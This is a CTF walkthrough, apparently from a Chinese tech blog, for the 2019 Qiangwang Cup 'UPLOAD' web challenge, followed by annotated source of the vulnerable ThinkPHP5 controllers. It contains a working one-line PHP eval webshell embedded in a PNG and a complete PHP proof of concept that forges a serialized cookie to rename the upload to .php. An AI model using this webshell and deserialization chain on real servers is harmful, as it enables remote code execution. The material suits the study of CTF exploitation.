CTF-Web习题:2019强网杯 UPLOAD

题目链接:2019强网杯 UPLOAD

解题思路

打开靶场如下图所示,是一个注册和登录界面
在这里插入图片描述
那就注册登录一下,发现是一个提交头像的页面:
在这里插入图片描述
试了一下只有能正确显示的png图片才能提交成功,同时F12拿到cookie,base64解码后能看到图片上传到的路径。
在这里插入图片描述
没发现什么有用的信息,试着扫扫目录,扫出来一个www.tar.gz文件,下载下来看一眼
(此处吐槽:用dirsearch.py扫了三次都没扫出来,用dirmap也没扫出来,最后查看dirsearch的默认字典准备把www.tar.gz加进去扫试试,结果里面本来就有,再扫就扫出来了,我不理解…)
在这里插入图片描述
那就下载下来看看,(这里下载下来的压缩文件在kali里解压不了,拿出来到360压缩却能成功解压,360真的很神奇)是ThinkPhp5框架编写的项目源码
在这里插入图片描述
该框架下核心代码一般都在application/web/controller目录下,审阅代码发现Index.phpRegister.php文件下有两个断点,应该是作者的Hint(提示),详情如下:

Index.php:
断点打在login_check方法中,且访问大部分页面都会调用该方法,该方法先从cookie中获取用户信息,并将该信息反序列化,随后到数据库中查找比对相关信息是否一致
在这里插入图片描述

Register.php:
断点打在改Register类的析构方法__destruct()中,该方法在对象被销毁时调用,该析构方法内的语句意思是:如果没有注册,则跳转到首页,这儿可能有点云里雾里,没关系,Register类的详情我们在文末详细分析。
在这里插入图片描述

此时已经有析构方法,反序列化,文件上传等线索,可以大概推测出本题想要考察反序列化与文件上传。那么接下来就去看看上传头像的业务逻辑,在application/web/controller.Profile.php中:

Profile.php:

首先可以看到上传头像的方法upload_img(),主要逻辑是:
先检查是否登录,没登陆则跳转首页;然后判断是否有文件,如果有文件,就将文件拓展名改为png;然后检查是否为正常可显示的图片,如果是,就将文件复制到目标路径下,并存储到数据库,否则报错。
在这里插入图片描述

再往下看,可以看到Profile类也有两个魔术方法:__get()__call(),分别编写了在调用不可调用的成员变量调用不可调用的方法时应该怎么做:

__get ($name):
当调用不可调用的成员变量(例如私有变量)或不存在的变量时,会从自身的except变量数组里查找返回

__call($name,$arguments):
当调用不可调用的方法(例如私有方法)或不存在的方法时,判断是否有name的属性,如果有,以name的值为方法名尝试调用该方法
在这里插入图片描述

以上所有的魔术方法都会在本题中发挥重要作用!!!!!!!!

至此,根据我们搜集到的信息,我们可以利用index.php里的login_check()方法内的反序列化漏洞,伪造一个cookie,反序列化出一个我们制造的对象,通过自定义对象的属性值,来进行后续操作。(大致思路)

这里我们的思路是:
1、构造一个图片马,注册一个新号上传上去,并记录下该文件的具体位置
2、构造一个对象(构造什么对象?我们后续详细操作步骤来探讨),利用反序列化与魔术方法将文件后缀修改为.php
3、利用蚁剑连接,获取flag

那么接下来就开始操作吧!

1、构造图片马并上传

我们直接保存百度的logo,然后用notepad++打开,在末尾嵌入<?php @eval($_POST["password"]);?>一句话木马,此处的"password"就是蚁剑的连接密码
在这里插入图片描述
上传之后我们通过查看cookie记住文件的存储位置:
eg:../upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.png

注意: 此处的一句话木马如果上传上去连接提示返回值为空,可能存在以下问题:

  • POST没有大写
  • <?php @eval($_POST["password"]);?>要双引号,单引号可能导致解析失败
  • 一句话木马书写有误
  • 蚁剑编码器解码器都选择base64
2、构造对象,利用反序列化调用魔术方法修改文件后缀为php

我们要构造一个什么对象?要明白这个问题,我们要回到反序列化的源头index.php文件的login_check()方法(请大家自行查看源码,篇幅原因这里不再贴出),可以看到此方法在反序列化对象之后,程序没有任何地方调用过该对象的成员属性和成员方法(用phpstorm看),因此,唯一能发挥作用的只有之前提到过的__destruct()方法,在对象销毁时调用。
在本题中,只有Register类有该魔术方法,因此,我们要构造的就是Register类的对象:

class Register{public $checker;public $registed;public function __destruct(){if(!$this->registed){$this->checker->index();}}
}
$register = new Register();
$register->registed = false;

再来看该魔术方法的逻辑,想要通过判断,应有registed = false,然后它调用了成员变量checkerinedx()方法,该方法是Index.phpIndex类下的,发现如果正常调用,没有什么地方有漏洞。这个应该想到魔术方法__call()了,它在调用不可调用或者不存在的方法时被调用,该魔术方法在Profile类中,且该类并没有index()方法,因此,我们可以确定,变量checker的值,就是Profile类的对象。
为此我们还应该实例化一个Profile类:

class Profile{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}
}
$profile = new Profile();
$register->checker = $profile;

承接上述逻辑,当调用profile对象的index()方法,然该方法不存在,则转而调用魔术方法并传入参数:__call("index")方法,此时,会检查profile对象中有没有index这个属性,显然是没有的,那么调用不存在的属性时,就会调用__get()方法,从except数组中查找以index为键查找对应的值A,并调用profile对象中以属性A的值为名称的方法!!也就是说,我们可以以此方式调用Profile对象中的任何函数!!!!!,查看源码发现,通过调用upload_img方法,可以将文件从filename_tmp复制到filename处,并删除filename_tmp文件,就可以实现文件名后缀修改为php!!!
因此,在profile对象属性构造上,可有如下:

$profile->except = ['index' => 'img'];
$profile->img = "upload_img";

现在可以调用upload_img()方法了,通过查看源码发现前两个if不给checker赋值,不上传文件,即可绕过,最后一个if需要ext不为空,通过修改filename_tmpfilename的值,即可实现文件名和后缀的修改,属性赋值如下:
注意:(这里的文件路径加了/public,是因为Profile类的构造函数会加public,而我们的反序列化不会调用构造函数,所以需要我们手动加上去)

$profile->ext = "png";//过if必须参数,=true也可以
$profile->filename_tmp = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.png";
$profile->filename = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.php";

最后还要加上命名空间namespace,位置和源码的Register类一致app\web\controller,用来说明这个类来自哪里,不然人家靶场不知道具体该从哪里序列化这个Profile类。然后序列化register对象即可。

整理代码如下所示:

namespace app\web\controller;
class Profile{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}
}
class Register{public $checker;public $registed;public function __destruct(){if(!$this->registed){$this->checker->index();}}
}
$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.png";
$profile->filename = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.php";$register = new Register();
$register->registed = false;
$register->checker = $profile;
echo urlencode(base64_encode(serialize($register)));

运行这段代码(POC),得到Cookie,利用Hackbar插件将cookie发送到靶机,然后出现如下页面

在这里插入图片描述
让我们访问.php文件看看修改成功没有,发现访问成功!
在这里插入图片描述

3、连接蚁剑,获取flag

在这里插入图片描述
url处输入我们图片马的链接,密码是一句话木马的参数名,连接成功~,然后在根目录下找到flag文件提交即可。

源码审计详解

1、Index.php
<?php
namespace app\web\controller;//定义命名空间,表示这个类属于app\web\controller
use think\Controller;//引入ThinkPHP5的Controller基类class Index extends Controller//Index类继承th5的Controller类
{public $profile;//会话中的用户信息public $profile_db;//数据库中的用户信息//index是默认的控制器方法,用来处理用户访问主页的请求public function index(){//检查是否登录,如果已登录则重定向到home方法if($this->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";//构建重定向的URL$this->redirect($curr_url,302);//执行重定向,并返回302状态码(临时重定向)exit();//终止脚本执行}return $this->fetch("index");//如果用户未登录,则返回index视图}//home方法用于处理用户访问主页后的逻辑public function home(){//如果未登录if(!$this->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";//重定向到index方法$this->redirect($curr_url,302);//执行重定向,并返回302状态码exit();//终止程序执行}//如果用户没有上传图片if(!$this->check_upload_img()){$this->assign("username",$this->profile_db['username']);//调用tp5框架的assign方法,将username分配到视图上显示return $this->fetch("upload");//返回上传图片的视图}else{ //如果用户上传了图片$this->assign("img",$this->profile_db['img']);//将img分配到视图上显示$this->assign("username",$this->profile_db['username']);//将username分配到视图上显示return $this->fetch("home");//返回home视图}}//用于检查用户是否登录public function login_check(){$profile=cookie('user');//获取cookie中的用户信息//cookie中用户信息非空if(!empty($profile)){$this->profile=unserialize(base64_decode($profile));//解码反序列化用户信息$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();//从数据库中查询用户信息//如果数据库的用户信息与cookie中一致,则返回1,否则返回0if(array_diff($this->profile_db,$this->profile)==null){return 1;}else{return 0;}}}//检查用户是否上传了图片public function check_upload_img(){//如果cookie中用户信息非空,且,数据库用户信息非空if(!empty($this->profile) && !empty($this->profile_db)){//如果数据库中img字段为空,返回0,否则返回1if(empty($this->profile_db['img'])){return 0;}else{return 1;}}}//用于处理用户注销public function logout(){cookie("user",null);//设置cookie为null$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";//重定向到index视图$this->redirect($curr_url,302);//执行重定向,并返回302状态码exit();//终止程序执行}//魔术方法,当调用不可调用或不存在的属性时调用,返回一个空字符串。public function __get($name){return "";}}
2、Register.php
<?php
namespace app\web\controller;
use think\Controller;class Register extends Controller
{public $checker;public $registed;//构造方法,初始化register对象时调用public function __construct(){$this->checker=new Index(); //实例化一个Index对象赋值给checker}//处理用户的注册方法public function register(){//如果checker非空if ($this->checker) {//调用起login_check()方法检查用户书否登录,如果登录if($this->checker->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";//重定向到home视图$this->redirect($curr_url,302);//执行重定向,发送302状态码exit();//中断脚本执行}}//从POST请求中获取'username'、'email'和'password'进行输入校验//如果都不为空if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {//input是tp5的函数$email = input("post.email", "", "addslashes");//调用addslashes函数对mail中的特殊字符进行转义$password = input("post.password", "", "addslashes");$username = input("post.username", "", "addslashes");//如果邮箱检测合法if($this->check_email($email)) {//如果数据库内内没有相同用户名或邮箱的用户if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {$user_info = ["email" => $email, "password" => md5($password), "username" => $username];//构建userinfo数组//向数据库中新增用户,如果成功if (db("user")->insert($user_info)) {$this->registed = 1;//设置已注册标记$this->success('Registed successful!', url('../index'));//利用tp5的success方法跳转到成功页面} else {//新增用户失败则跳转到注册失败页面$this->error('Registed failed!', url('../index'));}} else {//如果数据库中存在同用户名或邮箱用户,提示用户已存在$this->error('Account already exists!', url('../index'));}}else{//如果邮箱验证错误,提示邮箱无效$this->error('Email illegal!', url('../index'));}} else {//如果post参数有误,提示有空值$this->error('Something empty!', url('../index'));}}//检查邮箱是否合法public function check_email($email){$pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";//构建正则表达式preg_match($pattern, $email, $matches);//利用该函数进行匹配if(empty($matches)){//匹配失败返回0return 0;}else{//否则返回1return 1;}}//魔术方法,在对象销毁时调用public function __destruct(){如果已注册if(!$this->registed){//调用checker的index()方法返回主页$this->checker->index();}}
}
3、Profile.php
<?php
namespace app\web\controller;use think\Controller;class Profile extends Controller
{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;//构造函数public function __construct(){$this->checker=new Index();//实例化一个Index对象给checker$this->upload_menu=md5($_SERVER['REMOTE_ADDR']);//使用客户端的IP地址生产一个MD5值,作为上传目录的名称@chdir("../public/upload");//切换相对目录,如果没有该目录则创建//如果当前没有该上传目录,则新建一个if(!is_dir($this->upload_menu)){@mkdir($this->upload_menu);}@chdir($this->upload_menu);//切换到上传目录}//上传头像方法public function upload_img(){//检查checker对象是否存在if($this->checker){//如果存在,调用其login_check方法检查是否登录,如果未登录if(!$this->checker->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";//重定向到index视图$this->redirect($curr_url,302);exit();}}//如果上传文件非空if(!empty($_FILES)){$this->filename_tmp=$_FILES['upload_file']['tmp_name'];//获取文件在服务器上的临时文件路径$this->filename=md5($_FILES['upload_file']['name']).".png";//获取文件的原始名称,并进行md5编码$this->ext_check();//检查文件扩展名是否合法}//如果ext非空if($this->ext) {//如果文件时有效图像if(getimagesize($this->filename_tmp)) {@copy($this->filename_tmp, $this->filename);//将文件复制到filename处@unlink($this->filename_tmp);//删除临时文件$this->img="../upload/$this->upload_menu/$this->filename";//编辑img的存储地址$this->update_img();//更新图片}else{$this->error('Forbidden type!', url('../index'));}}else{$this->error('Unknow file type!', url('../index'));}}//更新图片public function update_img(){$user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();//从数据库查询用户信息//如果用户没有头像,且当前图像存在if(empty($user_info['img']) && $this->img){//更新用户数据库中的头像信息if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){$this->update_cookie();//更新cookie$this->success('Upload img successful!', url('../home'));//返回访问成功}else{$this->error('Upload file failed!', url('../index'));}}}//更细cookiepublic function update_cookie(){$this->checker->profile['img']=$this->img;cookie("user",base64_encode(serialize($this->checker->profile)),3600);}//拓展名检查public function ext_check(){$ext_arr=explode(".",$this->filename);//yi.分割ffilename为数组$this->ext=end($ext_arr);//获取数组最后一个元素if($this->ext=="png"){//如果是png返回1,否则返回0return 1;}else{return 0;}}//魔术方法,访问不存在的变量或不可访问的变量时调用public function __get($name){return $this->except[$name];//从except数组中找}//魔术方法,当调用不可调用的方法或不存在的方法时调用public function __call($name, $arguments){//看看是否有该变量if($this->{$name}){//如果有,调用以该变量的值为名称的函数$this->{$this->{$name}}($arguments);}}}

碎片知识补充

1、文件下载

比如这题的www.tar.gz文件,可以通过浏览器直接访问下载,也可以通过linux命令下载:
wget [url] -o [要保存位的文件名]
curl -o [要保存位的文件名] [url]

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/382278.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

便宜多域名SSL证书申请平台推荐

随着互联网的深入发展&#xff0c;网络安全问题愈发受到重视。SSL证书作为保障网站和用户数据安全的重要工具&#xff0c;其重要性不言而喻。在众多SSL证书类型中&#xff0c;多域名SSL证书因其独特的功能和优势&#xff0c;逐渐成为企业和个人保护网站安全的首选。 申请便宜S…

Django视图与URLs路由详解

在Django Web框架中&#xff0c;视图&#xff08;Views&#xff09;和URLs路由&#xff08;URL routing&#xff09;是Web应用开发的核心概念。它们共同负责将用户的请求映射到相应的Python函数&#xff0c;并返回适当的响应。本篇博客将深入探讨Django的视图和URLs路由系统&am…

全国区块链职业技能大赛国赛考题区块链产品需求分析与方案设计

任务1-1:区块链产品需求分析与方案设计 本任务需要依据项目背景完成需求分析与方案设计,具体要求如下: 依据给定区块链食品溯源系统的业务架构图,对考题进行业务分析,尽可能多的去考虑一个业务系统所需要的模块,使用Visio或思维导图工具展现本系统的基本设计概念和处理流…

科研绘图系列:R语言热图(heatmap)

介绍 热图是一种数据可视化技术,通常用于展示数据的分布情况。它通过颜色的变化来表示数据的大小或密度,使得观察者能够直观地理解数据集中的模式和趋势。以下是热图的一些关键特点和应用场景: 数据分布:热图可以显示数据在不同区域的分布情况,比如在地图上显示不同地区的…

Go基础编程 - 12 -流程控制

流程控制 1. 条件语句1.1. if...else 语句1.2. switch 语句1.3. select 语句1.3.1. select 语句的通信表达式1.3.2. select 的基特性1.3.3. select 的实现原理1.3.4. 经典用法1.3.4.1 超时控制1.3.4.2 多任务并发控制1.3.4.3 监听多通道消息1.3.4.4 default 实现非堵塞读写 2. …

GPT-4o mini是什么?

今天&#xff0c;全网都知道 OpenAI 发现货了&#xff01; GPT-4o mini 取代 GPT 3.5&#xff0c;从此坐上正主之位。 从官网信息来看&#xff0c;OpenAI 最新推出的 GPT-4o mini 重新定义了 AI 成本效益的标准&#xff0c;其性能优于前代模型 GPT-3.5 Turbo&#xff0c;且成本…

查看公网IP的网络出口

文章目录 背景 背景 有时候在各种交易或其他时候&#xff0c;会被问到给我一个公网IP&#xff0c;我来帮你加白名单。 这个怎么怎么获取公网IP呢&#xff0c;在自己本机查看ipconfig或者ifconfig ip a 等命令查到的一般都是局域网的IP&#xff0c;每台机器都需要一个IP来进行对…

数学建模学习(111):改进遗传算法(引入模拟退火、轮盘赌和网格搜索)求解JSP问题

文章目录 一、车间调度问题1.1目前处理方法1.2简单案例 二、基于改进遗传算法求解车间调度2.1车间调度背景介绍2.2遗传算法介绍2.2.1基本流程2.2.2遗传算法的基本操作和公式2.2.3遗传算法的优势2.2.4遗传算法的不足 2.3讲解本文思路及代码2.4算法执行结果&#xff1a; 三、本文…

基于MobileNetv2的垃圾分类函数式自动微分-昇思25天打卡

基于MobileNetv2的垃圾分类 本文档主要介绍垃圾分类代码开发的方法。通过读取本地图像数据作为输入&#xff0c;对图像中的垃圾物体进行检测&#xff0c;并且将检测结果图片保存到文件中。 1、实验目的 了解熟悉垃圾分类应用代码的编写&#xff08;Python语言&#xff09;&a…

linux 网络子系统

__netif_receive_skb_core 是 Linux 内核网络子系统中一个非常重要的函数&#xff0c;它负责将网络设备驱动层接收到的数据包传递到上层协议栈进行处理。以下是对该函数的一些关键点的详细解析&#xff1a; 一、函数作用 __netif_receive_skb_core 函数是处理接收到的网络数据…

linux 解决端口占用

1.查询被占用的端口 netstat -tln | grep 60602.查询该端口对应的服务 lsof -i :60603.杀死该进程 //14868是第二步的PID kill -9 14868

ubuntu在命令行输出里查找内容,dmesg

直接执行查看日志指令会出来很多页。dmesg为开机日志信息。记录了开机时硬件的过程 sudo dmesg 执行结果&#xff1a; 可以用竖号“|”&#xff0c;在前一条命令返回的内容进行查找。下图为查找bluetooth sudo dmesg |grep -i bluetooth

算法-嵌套类递归解题套路

文章目录 理论基础 :1. 基本计算器2. 字符串解码3. 求原子数量 理论基础 : 嵌套类递归是指一种一个字符串形式的问题通过嵌套调用子函数从而求解出结果的一类问题, 解题方法相对来说比较的固定, 我们总结为下面的几部分 大概过程 : 定义全局变量where递归函数 f ( i ) : s [ i …

【C++】——初识模版

文章目录 前言函数模版函数模版的原理函数模版的实例化 类模版类模版的实例化 前言 当我们使用一个通用的函数&#xff1a; //为每一个类型都编写一个重载版本 void Swap(int& left, int& right) {int temp left;left right;right temp; } void Swap(double& …

C# 与C++ cli

cli CLI&#xff08;Command Line Interface&#xff09;是一种通过命令行界面与计算机系统进行交互的方式。它提供了一种以文本形式输入命令和接收系统输出的方法&#xff0c;用于执行各种操作和管理计算机系统。以下是CLI的详细解释&#xff1a; 一、定义与基本概念 定义&…

编程中的智慧四:设计模式总览

前面三篇我们通过从一些零散的例子&#xff0c;和简单应用来模糊的感受了下设计模式在编程中的智慧&#xff0c;从现在开始正式进入设计模式介绍&#xff0c;本篇将从设计模式的7大原则、设计模式的三大类型、与23种设计模式的进行总结&#xff0c;和描述具体意义。 设计模式体…

【中项】系统集成项目管理工程师-第4章 信息系统架构-4.5技术架构

前言&#xff1a;系统集成项目管理工程师专业&#xff0c;现分享一些教材知识点。觉得文章还不错的喜欢点赞收藏的同时帮忙点点关注。 软考同样是国家人社部和工信部组织的国家级考试&#xff0c;全称为“全国计算机与软件专业技术资格&#xff08;水平&#xff09;考试”&…

关卡1-2:Python关卡

关卡1-2&#xff1a;Python关卡 一、python实现wordcount二、通过本地VSCODE连接internStudio与debug2.1使用本地的VSCODE连接InternStudio2.2 debug插件安装2.3 debug进行时2.3.1 代码准备2.3.2 选择python解释器2.3.3 打断点 一、python实现wordcount 采用python实现经典任务…

虚拟机迁移报错:虚拟机版本与主机“x.x.x.x”的版本不兼容

1.虚拟机在VCenter上从一个ESXi迁移到另一个ESXi上时报错&#xff1a;虚拟机版本与主机“x.x.x.x”的版本不兼容。 2.例如从10.0.128.13的ESXi上迁移到10.0.128.11的ESXi上。点击10.0.128.10上的任意一台虚拟机&#xff0c;查看虚拟机版本。 3.确认要迁移的虚拟机磁盘所在位…